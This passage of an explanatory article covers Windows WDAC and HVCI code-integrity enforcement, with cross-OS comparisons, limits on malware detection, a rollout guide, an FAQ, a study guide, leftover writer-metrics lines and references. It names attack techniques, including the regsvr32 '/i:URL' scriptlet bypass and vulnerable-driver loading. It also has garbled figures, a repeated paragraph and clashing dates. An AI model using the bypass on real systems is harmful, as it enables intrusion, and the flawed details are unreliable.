The consumer cousin of WDAC is Smart App Control, which runs the same CI.dll against an example policy (SmartAppControl.xml, also shipped as SignedReputable.xml). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, "no way to bypass Smart App Control protection for individual apps."

WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.

7. Competing Approaches: Apple, Linux, Android

Three other major operating systems answer the question "which code is allowed to run on this device." None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.

macOS combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015), and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon, which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.

Linux ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009, with the Extended Verification Module (EVM) for off-line attack protection and dm-verity for read-only rootfs verification. IMA is the closest Linux analogue to WDAC's audit pipeline: it can collect file measurements, store them in a kernel-resident list (and extend a TPM PCR if hardware is present), attest them remotely, and appraise them against a "good" value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W\oplusX-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing's TDX or SEV-SNP overlay, and that is opt-in.

dm-verity

A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of Android Verified Boot, and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD.

Android combines Android Verified Boot (AVB), introduced in Android 8.0, which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9), and v4 (Android 11); the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.

PropertyWindows (WDAC + HVCI)macOSLinuxAndroid
Tenant-authored policyYes (XML)NoYes (IMA appraise)No
Hypervisor-rooted enforcementYes (VTL1)No (silicon-rooted)No (default)No
Per-page W\oplusX for kernelYes (HVCI)Yes (KIP, fixed)No (default)No
Sealed system imageNo (modular)Yes (sealed APFS)Optional (dm-verity)Yes (Verified Boot)
Per-load runtime checkYes (every PE)Yes (every Mach-O)Optional (IMA)App install / Zygote
Trust anchorMicrosoft + tenantApple onlyTPM PCR / tenantAVB key + Google Play
Documented bypass classLOLBINs + BYOVDNotarization gapsOff-by-default IMASandbox escapes

The Windows distinction is structural. A hypervisor-rooted runtime enforcement loop, against an XML-schema author-anywhere policy, evaluated at every PE load by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties. The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft's September 2024 Windows endpoint security summit blog post is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.

The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.

8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface

Fred Cohen proved in his 1984 paper Computer Viruses -- Theory and Experiments that the general problem WDAC tries to solve is undecidable. "Detection of a virus is shown to be undecidable both by a-priori and runtime analysis," Cohen wrote in the abstract, "and without detection, containment is, in general, impossible." Cohen completed his Ph.D. at USC in 1986, where Leonard Adleman (the A in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in Computers & Security in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.

WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- is this exact bag of bytes, with this exact signature, on the trusted list? -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.

WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn't fixed; it is the empirical residue of an undecidable problem.

Rice's theorem

Henry Gordon Rice's 1951 doctoral result at Syracuse University: every non-trivial semantic property of a Turing-complete program is undecidable. "Will this program ever execute arbitrary code from a network argument?" is a semantic property. Rice's theorem says no static analyser can answer it for regsvr32.exe. This is why signed-but-vulnerable LOLBINs persist in Microsoft's bypass catalogue -- Microsoft cannot statically prove that regsvr32.exe will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.

The W\oplusX ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that write a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of existing executable bytes never violates W\oplusX. The attacker stitches together short snippets ending in RET instructions, all of which were already in the kernel's executable text section, and the resulting computation is Turing-complete. Kernel Data Protection closes the data-corruption variant -- attackers shifting from modify code to modify data that drives code -- but the control-flow attack class remains.

The Driver Block List arms race is the third structural limit. Microsoft's own Learn page on the Block List says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor's installed base.

"It's often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions." -- Microsoft Learn, Microsoft recommended driver block rules, 2026.

The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at 5,000to5,000 to 250,000 USD on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does not break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft's view of how much it values an attack that compromises the HVCI substrate from above.

BoundSourceWhat it implies
Cohen 1986 lower boundCohen, Computer Viruses -- Theory and ExperimentsGeneral malware detection is undecidable; allowlists are the only decidable primitive
Rice's theorem lower boundRice 1951Static analysis cannot decide non-trivial semantic properties of LOLBINs
Reachable boundWDAC + HVCI + KDP + Block List + ASR + Defender for EndpointDecidable allowlist + curated deny list + EDR telemetry on the residual
Residual surfaceROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollbackMicrosoft response: KDP, hash-pinned bypass list, VMDRC reporting, KB5042562

WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.

9. Open Problems: Where Research Lives Today

Five live research directions sit on the frontier of the runtime enforcement loop. Each is the next generation of one of the residuals named in section eight.

Data-only attacks against HVCI and KDP coverage. KDP closes the data-corruption gap, but only opt-in per driver -- the driver author has to call MmProtectDriverSection for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.

BYOVD-class drivers faster than the Block List update cadence. The Block List ships quarterly, with monthly Windows updates as the delivery mechanism; the LOLDrivers community catalogue operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.

Signed-but-vulnerable user-mode binaries. The forty-entry bypass catalogue keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, "regsvr32 with /i:URL arguments" can be denied even when "regsvr32 without arguments" is allowed. Some of this lives in Defender's ASR rules today; none of it lives inside WDAC's static schema.

HVCI rollback (CVE-2024-21302 Windows Downdate). Alon Leviev's Black Hat USA 2024 disclosure used the Windows Update flow itself to downgrade HVCI's substrate to an older, vulnerable version -- "I successfully downgraded Credential Guard's Isolated User Mode Process, Secure Kernel, and Hyper-V's hypervisor to expose past privilege escalation vulnerabilities." Mitigation was completed July 8, 2025 with KB5042562. But the Windows Update takeover that delivered the downgrade remains unpatched because Microsoft does not consider admin-to-kernel a security boundary; "Gaining kernel code execution as an Administrator is not considered as crossing a security boundary." The open direction is mandatory dbx hygiene plus UEFI-locked monotonic version counters for VBS binaries.

"I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term 'fully patched' meaningless on any Windows machine in the world." -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.

The post-CrowdStrike user-mode-security pivot. The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft's September 2024 Windows endpoint security summit blog post is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI's silicon dependency improves for legacy fleets.

The LOLDrivers catalogue tracks new BYOVD entries on a daily cadence; recent April 2026 entries include iOCdrv.sys and Windows_CPU_Temperature_Component.sys, both classified as "Vulnerable driver." The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor's installed base on a Wednesday.

These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is not contested -- the operational discipline a 2026 administrator should follow today.

10. Practical Guide: A Phased Rollout for a 2026 Estate

If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.

Phase 0 (week 1) -- silicon verification. Run Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard against a representative sample. Confirm that AvailableSecurityProperties includes 1 (hypervisor support), 2 (Secure Boot), and 7 (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later). Confirm that VirtualizationBasedSecurityStatus = 2 on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented "HVCI-incapable" exception with an EDR-only compensating control.

Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce. Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy RecommendedDriverBlock_Enforced.xml standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the Microsoft-Windows-DeviceGuard/Operational channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.

Phase 2 (weeks 5-10) -- WDAC base policy in audit mode. Author a base policy from DefaultWindows_Audit.xml using New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. Deploy in audit. Iterate New-CIPolicy -Audit against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don't be that rollout.

Phase 3 (weeks 11-16) -- sign and enforce. Sign the base policy (Add-SignerRule -Update, Set-RuleOption -Option 6 -Delete, ConvertFrom-CIPolicy, signtool.exe). Validate the signed policy on a wave-1 subset before fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5 at the Defender for Endpoint policy layer. Integrate the CodeIntegrity-Operational channel into your SIEM via Defender for Endpoint advanced hunting -- the DeviceEvents table is your join point.

Phase 4 (ongoing) -- continuous tuning. Quarterly: refresh the Driver Block List policy; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue for new vulnerable drivers your environment ships.

The "do not do" list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the VersionEx boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft's own AppLocker overview disqualifies the feature as a security boundary. Do not turn HVCI off to "fix" driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.

The one-liner you actually run on every endpoint in Phase 0
Get-CimInstance -ClassName Win32_DeviceGuard `
  -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object AvailableSecurityProperties,
                VirtualizationBasedSecurityStatus,
                SecurityServicesRunning,
                CodeIntegrityPolicyEnforcementStatus

Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.

After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop's continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.

11. FAQ: The Misconceptions This Article Closes

Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.

Frequently asked questions

Aren't WDAC and AppLocker the same thing?

No. They share the AppLocker Application Identity service for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is serviced under MSRC criteria as a security feature, meaning Microsoft treats a bypass as a vulnerability. Microsoft documents AppLocker as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses.

Isn't HVCI just NX for the kernel?

No. NX (the No-Execute bit on x86-64) is a permission bit the CPU's MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL SLAT permission state held in the hypervisor's page tables, validated by SkCi.dll in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX's enforcement substrate is editable by the attacker; HVCI's is not.

If I'm SYSTEM in the kernel, can't I just turn HVCI off?

No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the registry key that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the CodeIntegrity-Operational channel records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that implement HVCI, but the July 2025 KB5042562 mitigation closed that vector for the documented CVE.

Smart App Control is a different engine, right?

No. Smart App Control is the same CI.dll engine consuming an example WDAC policy (SmartAppControl.xml / SignedReputable.xml) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the Intelligent Security Graph, the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers.

Doesn't the Driver Block List block every BYOVD driver?

No. Microsoft holds back blocks for compatibility -- the canonical Microsoft Learn position is that breaking an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim "hold back some blocks" quote anchors the §8 PullQuote above. The LOLDrivers community catalogue tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months.

Are memory integrity, Device Guard kernel CI, and HVCI three different features?

No. The Microsoft Learn memory-integrity page reconciles all three names; the verbatim quote anchors the §4b HVCI / Memory Integrity Definition above. Three names; one feature; one SkCi.dll; one architectural inversion of Blue Pill.

Does WDAC block PowerShell?

Only if you remove the Script Enforcement opt-out (rule option 11, Disabled:Script Enforcement). The default is to enforce script-host coverage for the binaries listed in the bypass catalogue -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode.

Audit mode is harmless, isn't it?

Mostly. But some policy options change behaviour even in audit mode -- for example, Disabled:Runtime FilePath Rule Protection removes the runtime user-writeability check on path rules whether or not enforcement is on, and Required:WHQL (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.

A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.

That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.

Study guide

Key terms

WDAC
Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll.
HVCI
Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\oplus$X for kernel pages via SLAT entries.
BYOVD
Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution.
VTL0 / VTL1
Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker.
Squiblydoo
Casey Smith's April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient.
SiPolicy XML
The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners.
Driver Block List
Microsoft's recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+.
ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5
The Defender for Endpoint 'Block abuse of exploited vulnerable signed drivers' rule that pairs with the Block List as the EDR-side telemetry partner.
Cohen 1984/1986
Fred Cohen's 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector.
Rice's theorem
Henry Gordon Rice's 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated.

Comprehension questions

  1. What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?

    CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W->X SLAT refusal that emits CodeIntegrity-Operational event 3033.

  2. Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?

    Because the publisher rule scopes trust to the binary's signer, not the binary's behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch.

  3. What is the architectural inversion HVCI performs against Joanna Rutkowska's 2006 Blue Pill argument?

    Blue Pill argued the hypervisor was the attacker's substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender's substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1.

  4. Why does the Driver Block List always lag behind the LOLDrivers community catalogue?

    Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle.

  5. What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?

    Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run.

---WRITER METRICS---
Word count: 11497
Citations: 131
Mermaid diagrams: 7
Definitions: 13
Sidenotes: 8
FAQ questions: 8
---END WRITER METRICS---

References

  1. Application Control for Windows: App Control and AppLocker overview. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview
  2. AppLocker overview (Microsoft Learn). https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview
  3. Enable virtualization-based protection of code integrity (Memory integrity / HVCI). https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity
  4. Microsoft recommended driver block rules. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules
  5. Applications that can bypass App Control. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol
  6. App Control feature availability. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/feature-availability
  7. Select the types of rules to create. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create
  8. Example App Control base policies. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/example-appcontrol-base-policies
  9. Deploy multiple App Control policies. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/deploy-multiple-appcontrol-policies
  10. Use App Control with Intelligent Security Graph. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/use-appcontrol-with-intelligent-security-graph
  11. Attack Surface Reduction rules reference. https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference
  12. Software Restriction Policies (Windows Server). https://learn.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies
  13. How Software Restriction Policies Work (Windows Server 2003 Technical Reference). https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc786941(v=ws.10)
  14. What Are Software Restriction Policies? (Windows Server 2003). https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc782792(v=ws.10)
  15. AppLocker (Windows 7 / Server 2008 R2 documentation index). https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-7/dd723678(v=ws.10)
  16. App Control for Business documentation landing page. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/
  17. Nazmus Sakib (2017). Introducing Windows Defender Application Control. https://www.microsoft.com/en-us/security/blog/2017/10/23/introducing-windows-defender-application-control/
  18. Andrea Allievi (2020). Introducing Kernel Data Protection, a new platform security technology for preventing data corruption. https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/
  19. (2021). Improve kernel security with the new Microsoft Vulnerable and Malicious Driver Reporting Center. https://www.microsoft.com/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/
  20. What is Smart App Control?. https://support.microsoft.com/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003
  21. Microsoft Hyper-V Bounty Program. https://www.microsoft.com/en-us/msrc/bounty-hyper-v
  22. Microsoft Vulnerable and Malicious Driver Reporting Center submission portal. https://www.microsoft.com/wdsi/driversubmission
  23. (2019). Screwed Drivers -- Signed, Sealed, Delivered. https://www.eclypsium.com/blog/screwed-drivers-signed-sealed-delivered/
  24. Alon Leviev (2024). Downgrade Attacks Using Windows Updates. https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/
  25. Alon Leviev (2024). Update on Windows Downdate downgrade attacks. https://www.safebreach.com/blog/update-on-windows-downdate-downgrade-attacks/
  26. CVE-2024-21302 (Windows Secure Kernel Mode elevation of privilege / VBS rollback). https://nvd.nist.gov/vuln/detail/CVE-2024-21302
  27. CVE-2019-16098 (MSI Afterburner RTCore64.sys). https://nvd.nist.gov/vuln/detail/CVE-2019-16098
  28. CVE-2021-21551 (Dell dbutil_2_3.sys). https://nvd.nist.gov/vuln/detail/CVE-2021-21551
  29. MITRE ATT&CK T1218 -- System Binary Proxy Execution. https://attack.mitre.org/techniques/T1218/
  30. MITRE ATT&CK T1218.010 -- Regsvr32 (Squiblydoo). https://attack.mitre.org/techniques/T1218/010/
  31. LOLBAS: Regsvr32. https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  32. LOLDrivers -- Living Off The Land Drivers. https://www.loldrivers.io/
  33. Casey Smith (2016). Bypass Application Whitelisting Script Protections (subt0x10 blog, archived). https://web.archive.org/web/20161128183535/http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
  34. Alex Ionescu (2015). Battle of SKM and IUM: How Windows 10 Rewrites OS Architecture. https://github.com/tpn/pdfs/blob/master/Battle%20of%20SKM%20and%20IUM%20-%20How%20Windows%2010%20Rewrites%20OS%20Architecture%20-%20Alex%20Ionescu%20-%202015%20(blackhat2015).pdf
  35. Joanna Rutkowska (2006). Subverting Vista Kernel for Fun and Profit (Blue Pill). https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Rutkowska.pdf
  36. Fred Cohen (1984). Computer Viruses -- Theory and Experiments. https://web.eecs.umich.edu/~aprakash/eecs588/handouts/cohen-viruses.html
  37. AppLocker (Wikipedia). https://en.wikipedia.org/wiki/AppLocker
  38. Blue Pill (software) (Wikipedia). https://en.wikipedia.org/wiki/Blue_Pill_(software)
  39. Windows 7 (Wikipedia). https://en.wikipedia.org/wiki/Windows_7
  40. Windows 10 version history (Wikipedia). https://en.wikipedia.org/wiki/Windows_10_version_history
  41. Fred Cohen (Wikipedia). https://en.wikipedia.org/wiki/Fred_Cohen
  42. Rice's theorem (Wikipedia). https://en.wikipedia.org/wiki/Rice%27s_theorem
  43. System Integrity Protection (Wikipedia). https://en.wikipedia.org/wiki/System_Integrity_Protection
  44. Computer virus (Wikipedia). https://en.wikipedia.org/wiki/Computer_virus
  45. dm-verity (Wikipedia). https://en.wikipedia.org/wiki/Dm-verity
  46. Gatekeeper and runtime protection (Apple Platform Security). https://support.apple.com/guide/security/gatekeeper-and-runtime-protection-sec5599b66df/web
  47. Operating system integrity (Apple Platform Security). https://support.apple.com/guide/security/operating-system-integrity-sec8b776536b/web
  48. Linux Integrity Measurement Architecture (IMA). https://sourceforge.net/p/linux-ima/wiki/Home/
  49. Verified Boot (Android Open Source Project). https://source.android.com/docs/security/features/verifiedboot
  50. Application signing (Android Open Source Project). https://source.android.com/docs/security/features/apksigning
  51. APK Signature Scheme v4 (Android Open Source Project). https://source.android.com/docs/security/features/apksigning/v4
  52. Kasif Dekel (2021). CVE-2021-21551 -- Hundreds of Millions of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws. https://www.sentinelone.com/labs/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
  53. David Weston (2024). Taking steps that drive resiliency and security for Windows customers. https://blogs.windows.com/windowsexperience/2024/09/12/taking-steps-that-drive-resiliency-and-security-for-windows-customers/
  54. Understanding Application Control event IDs. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/operations/event-id-explanations
  55. Authenticode (Windows Drivers / Microsoft Learn). https://learn.microsoft.com/en-us/windows-hardware/drivers/install/authenticode
  56. (2016). Threat Advisory: "Squiblydoo" Continues Trend of Attackers Using Native OS Tools to "Live Off the Land" (Carbon Black, archived). https://web.archive.org/web/20170809154755/https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/